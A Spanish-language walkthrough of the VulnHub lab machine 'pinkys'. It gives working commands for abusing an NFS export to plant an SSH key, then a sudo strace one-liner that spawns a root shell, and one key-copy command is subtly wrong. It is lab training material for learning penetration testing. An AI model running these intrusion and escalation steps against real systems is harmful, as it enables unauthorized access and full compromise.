pinkys - VulnHub
Pinkys es una máquina fácil, que contiene una vulnerabilidad que reside de una mala configuración de montaje, que nos permite comprometer la máquina. La elevación de privilegios consiste en una incorrecta gestión de permisos de archivos, esto nos permite ejecutar comandos como root.
Enumeración
Empezamos con un reconocimiento de puertos y servicios a través de la herramienta nmap. En el cual logramos detectar varios servicios(ssh,rpcbind,nfs,mountd,nlockmgr).
# Nmap 7.93 scan initiated Mon Sep 25 08:33:16 2023 as: nmap -sCV -p22,111,2049,41041,42917,42939,56679 -oN vulnscan.nmap 192.168.0.106
Nmap scan report for 192.168.0.106
Host is up (0.00028s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 7a9bb9326f957710c0a0803534b1c000 (RSA)
| 256 240c7a8278182d66463b1a362206e1a1 (ECDSA)
|_ 256 b915597885789ea5e616f6cf962d1d36 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 41041/tcp mountd
| 100005 1,2,3 43523/udp6 mountd
| 100005 1,2,3 50575/tcp6 mountd
| 100005 1,2,3 51299/udp mountd
| 100021 1,3,4 42917/tcp nlockmgr
| 100021 1,3,4 44393/tcp6 nlockmgr
| 100021 1,3,4 56691/udp nlockmgr
| 100021 1,3,4 57572/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
41041/tcp open mountd 1-3 (RPC #100005)
42917/tcp open nlockmgr 1-4 (RPC #100021)
42939/tcp open mountd 1-3 (RPC #100005)
56679/tcp open mountd 1-3 (RPC #100005)
MAC Address: 08:00:27:D8:9F:D6 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 25 08:33:24 2023 -- 1 IP address (1 host up) scanned in 7.06 seconds
Analisis de puntos de montaje
La herramienta showmount permite visualizar sistemas de ficheros montados en un servidor.
➜ pinkys-palace showmount -e 192.168.0.106
Export list for 192.168.0.106:
/home/peter *
Realizamos una réplica local de la montura remota.
➜ pinkys-palace mount -t nfs 192.168.0.106:/home/peter /mnt/nft
➜ pinkys-palace ls -la /mnt/nft
total 32
drwxr-xr-x 6 1001 1005 4096 sep 25 2023 .
drwxr-xr-x 1 root root 6 sep 24 21:59 ..
-rw-r--r-- 1 1001 1005 220 jul 9 2018 .bash_logout
-rw-r--r-- 1 1001 1005 3771 jul 9 2018 .bashrc
drwx------ 2 1001 1005 4096 jul 10 2018 .cache
-rw-rw-r-- 1 1001 1005 0 jul 10 2018 .cloud-locale-test.skip
drwx------ 3 1001 1005 4096 jul 10 2018 .gnupg
drwxrwxr-x 3 1001 1005 4096 jul 10 2018 .local
-rw-r--r-- 1 1001 1005 807 jul 9 2018 .profile
Según Hacktricks, si creamos un usuario con el ID 1001, podremos obtener acceso y crear contenido en todas las carpetas del sistema, lo que sugiere una vulnerabilidad o debilidad en la configuración de permisos del sistemas. Por lo tanto creamos un usuario.
adduser --force-badname 1001
Una vez que hemos creado el usuario con el ID 1001, hemos obtenido la capacidad de crear y visualizar todos los archivos en el sistema. En consecuencia, hemos aprovechado esta oportunidad para tomar nuestra clave pública y generar un archivo denominado ‘authorized_keys’ en un directorio que hemos creado específicamente llamado ‘.ssh’. Esto nos ha habilitado el acceso al usuario ‘peter’ sin la necesidad de autenticación basada en contraseñas, permitiendo la autenticación mediante claves públicas.
➜ nft ls -la .ssh/authorized_keys
-rw-r--r-- 1 1001 1001 565 sep 25 2023 .ssh/authorized_keys
➜ nft l
total 32K
drwxr-xr-x 6 1001 1005 4,0K sep 25 2023 .
drwxr-xr-x 1 root root 6 sep 24 21:59 ..
-rw-r--r-- 1 1001 1005 220 jul 9 2018 .bash_logout
-rw-r--r-- 1 1001 1005 3,7K jul 9 2018 .bashrc
drwx------ 2 1001 1005 4,0K jul 10 2018 .cache
-rw-rw-r-- 1 1001 1005 0 jul 10 2018 .cloud-locale-test.skip
drwx------ 3 1001 1005 4,0K jul 10 2018 .gnupg
drwxrwxr-x 3 1001 1005 4,0K jul 10 2018 .local
-rw-r--r-- 1 1001 1005 807 jul 9 2018 .profile
drwxr-xr-x 2 1001 1001 4,0K sep 25 2023 .ssh
Para generar las claves ssh lo hacemos de la siguiente manera.
ssh-keygen -t rsa
echo id_rsa.pub >> /mnt/nft/.ssh/authorized key
Escalada de privilegios
Cuando ingresamos a la máquina y ejecutamos el comando sudo -l. Observamos una incorrecta configuración de permisos de archivos. Esto nos permite acceder como root.
peter@linsecurity:~$ sudo -l
Matching Defaults entries for peter on linsecurity:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User peter may run the following commands on linsecurity:
(ALL) NOPASSWD: /usr/bin/strace
GTFOBins
GTFOBins nos indica que la utilidad ‘strace’ presenta una vulnerabilidad.
peter@linsecurity:~$ sudo strace -o /dev/null /bin/sh
# whoami
root